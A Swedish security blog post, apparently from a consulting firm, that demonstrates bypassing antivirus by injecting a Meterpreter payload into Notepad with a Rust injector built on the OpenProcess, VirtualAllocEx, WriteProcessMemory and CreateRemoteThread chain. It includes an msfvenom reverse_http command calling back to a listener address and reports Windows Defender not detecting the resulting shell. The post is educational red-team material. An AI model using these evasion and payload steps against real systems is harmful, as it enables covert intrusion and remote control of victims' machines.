Simovits

Att kringgå Antivirus genom processinjektion

I det tidigare blogginlägget “Fantastiska Antivirus och hur man kringgår dem” introducerades några av antivirus-lösningarnas mest grundläggande metoder för att upptäcka skadlig kod, och enkla trick för att besegra signaturbaserad detektion.

I detta inlägg demonstreras en gammal teknik för kringgå antivirusprogrammens detektion genom att injicera skadlig kod i minnet på en aktiv process.

Om processinjektion

Tekniken är listad i MITRE ATT&CK Framework med id-nummer T1055 och används flitigt av olika hotaktörer. Processinjektion är ofta med i arsenalen av tekniker som kända trojaner och ransomware använder (Qakbot, REvil och Ryuk m.fl), samt i populära ramverk som Powershell Empire och Cobalt Strike.

Processinjektion kan utföras på en mängd olika sätt genom att använda Windows API (Application Programming Interface) och direkt eller indirekt ladda in den skadliga koden i en för övrigt godartad process.

Detta gör det svårt för antivirus-lösningar att på ett meningsfullt sätt övervaka och förhindra injektioner utan att samtidigt orsaka en oacceptabelt hög nivå av falsk-positiva larm och driftstörningar. Därmed inte sagt att det helt saknas skydd mot injektionsattacker, enklare implementationer löper trots allt en risk att träffas av någon av de signaturer som redan är framtagna.

Ett klassiskt exempel på en enkel processinjektion är att kombinera följande fyra funktioner från Windows API:

Funktionerna är beskrivna i detalj på följande sida: https://docs.microsoft.com/en-us/windows/win32/api/

Själva processinjektionsmetoden är också en fyrstegsraket:

  1. Begär (och få) åtkomst till den aktuella processen
  2. Allokera utrymme i processens minnesrymd
  3. Skriv den skadliga koden till utrymmet som allokerades i steg 2
  4. Exekvera den skadliga koden genom att skapa en ny så kallad tråd i målprocessen

OpenProcess hämtar en så kallad “handle” till en aktiv process. En “handle” är en datastruktur som representerar åtkomst till en viss process, och med hjälp av sagda “handle” kan de övriga funktionerna bland annat manipulera processens minnesrymd.

VirtualAllocEx tar emot den handle som skapades via OpenProcess samt en storlek på den önskade allokeringen. Via VirtualAllocEx sätts även de “flaggor” som anger minnets eventuella läs- och skrivskydd. I detta exempel behöver minnet både kunna skrivas till, läsas ifrån samt exekveras.

WriteProcessMemory behöver också ovan nämda handle för att kunna skriva till processens minne. Funktionen behöver också ha den specifika minnesadressen där VirtualAllocEx gjorde plats för den skadliga koden, samt en minnesadress där den skadliga koden finns. Eftersom Windows API är skriven på en låg nivå (avser abstraktionsnivån och inte kompetens) måste även längden på den skadliga koden anges så WriteProcessMemory korrekt kan kopiera över relevant mängd data.

När den skadliga koden har skrivits till den allokerade minnesytan kan koden exekveras genom CreateRemoteThread. Funktionen behöver också ovan handle, vilken minnesadress den skadliga koden återfinns på och längden på sagda kod. En tråd skapas och i denna exekveras den skadliga koden.

Implementera processinjektion i Rust

Windows API är skrivet i programmeringsspråket C, men det är möjligt att interagera med gränssnittet genom en mängd olika språk, till exempel Go. Om syftet med att använda Windows API är att kringgå antivirus-lösningars detektion är det absolut en fördel att välja något mindre vanligt förekommande språk då sannolikheten att en signatur redan är framtagen är mindre. Jag valde därför att skriva en injektor i Rust.

Rust maskot “Ferris”

Rust är mycket populärt språk som betonar egenskaper som minnessäkerhet och prestanda. Resten av det här blogginlägget förutsätter en grundförståelse för hur Rust installeras, grunderna i språket samt hur ekosystemet med “crates”, eller programmoduler, är uppbyggt. Vill du lära dig mer om Rust hänvisas till den utmärkta och kostnadsfria boken “The Rust Programming Language” på https://doc.rust-lang.org/book/.

Microsoft har genom projektet “Rust for Windows” skapat en crate som Rust-programmerare kan använda för att skapa all nödvändig kod som krävs för att kunna interagera med Windows API i Rust-projekt. Deras crate, windows-rs finns på https://github.com/microsoft/windows-rs och är mycket enkel att komma igång med, med gott om exempel i kodrepot.

Att kompilera Rust-kod till program innebär att ett antal kontroller utförs för att garantera programmets korrekthet och minnessäkerheten som tidigare nämdes. I och med att Windows API anropas och att delar av programlogiken sker bortom Rust-programmets kontroll måste kodblocket unsafe användas när de flesta av funktionerna i Windows API anropas. OpenProcess kan implementeras så här:

OpenProcess

OpenProcess behöver ett process-ID för att kunna begära en handle till aktuell process. Det står läsaren fritt att välja om detta ska ges till injektorn som ett argument eller om injektorn själv ska söka upp värdet, till exempel via processnamn. Jag har i demonstrationssyfte valt att hårdkoda värdet. OpenProcess behöver uppgifter om den önskade åtkomsten som handlen avser, och i processinjektionssyfte kan flaggorna i exemplet användas. bInheritHandle innebär att underprocesser till injektorn kan ärva sagda handle. Låt värdet vara true.

VirtualAllocEx kräver några fler argument än OpenProcess. Funktionen behöver ha längden på den skadliga kod som ska injiceras, och ett antal flaggor behöver sättas. Det kan se ut så här:

VirtualAllocEx

Det andra argumentet till VirtualAllocEx erbjuder möjlighet att själv bestämma vilken minnesadress som ska användas för allokering. Enligt Microsofts dokumentation innebär en så kallad NULL pointer att funktionen själv avgör den lämpligaste platsen för allokeringen. I Rust skapar man en NULL pointer genom null_mut-funktionen som i exemplet.

Det sista argumentet till VirtualAllocEx är läs- och skrivskyddet för den minnesarea som allokeras. Det absolut enklaste är att flagga hela ytan som RWX, det vill att kod i området kan läsas, skrivas och exekveras. Detta är samtidigt något som antivirus-lösningar kan reagera på då det är ett kännetecken för att någonting lurt är i faggorna.

WriteProcessMemory är inte särskilt mer komplicerad än VirtualAllocEx. Argumenten är den handle som har använts tidigare och adressen som VirtualAllocEx tog fram. Det tredje och fjärde argumentet är den skadliga kod som skall skrivas till minnet samt längden på densamma. Det sista argumentet är valfritt och kan ignoreras med en NULL pointer.

WriteProcessMemory

Slutligen kan den skadliga koden exekveras via CreateRemoteThread. I exemplet används en i Rust mörk och farlig funktion som kallas transmute.

CreateRemoteThread med transmute

Transmute anses som farlig då den omvandlar en typ till en annan, vilket kan leda till allvarliga fel om inte den underliggande informationen är giltig i sin “nya” form. Syftet med transmute i exemplet är att omvandla allocated_memory, som är en *const c_void, till typen LPTHREAD_START_ROUTINE.

Undertecknad tar tacksamt emot förslag på hur typen kan omvandlas på ett sätt som inte kräver transmute!

Med alla funktioner på plats är vi redo för att injicera kod. För demonstrationssyfte används en enkel meterpreter som skapas genom följande kommando:

msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.56.102 LPORT=8080 exitfunc=thread --platform win -f hex

Hexformatet underlättar inbäddningen av koden i Rust-programmet, och kan lätt dekodas med hex::decode. för att sedan ges till WriteProcessMemory.

När programmet är klart är det dags att kompilera koden till körbar form. En av Rusts styrkor är hur enkelt det går att korskompilera, det vill säga bygga koden på ett sorts system på ett sådant sätt att det går att köra resultatet på en annan typ av system. I det här fallet byggs programmet på ett Linux-system för att köras i Windows.

cargo build --target x86_64-pc-windows-gnu

Test av injektorn!

Trojanen skulle, om den fördes över till systemet i exe-form, aldrig kunna köras utan att antivirus-lösningen skulle sparka bakut. I den här formen kringgås dock signaturerna och trojanen kan köras utan problem via injektionen.

Session 1 opened!

Granskas den injicerade processen, i detta fall Notepad kan en del avvikelser noteras:

Notepad.exe pratar över nätverket…

Men antivirus-lösningen (Windows Defender) har inte reagerat på injektionen, eller det faktum att Notepad helt plötsligt har fått förmågan att kommunicera över nätverket. Trojanen har full funktionalitet och det går till exempel att öppna en kommandoprompt på det infekterade systemet genom shell-kommandot.

Skal genom Meterpreter
Kommandoprompt som underprocess till Notepad

Förhoppningsvis har det här varit en lärorik inblick i en stapelvara inom konsten att kringgå antivirus!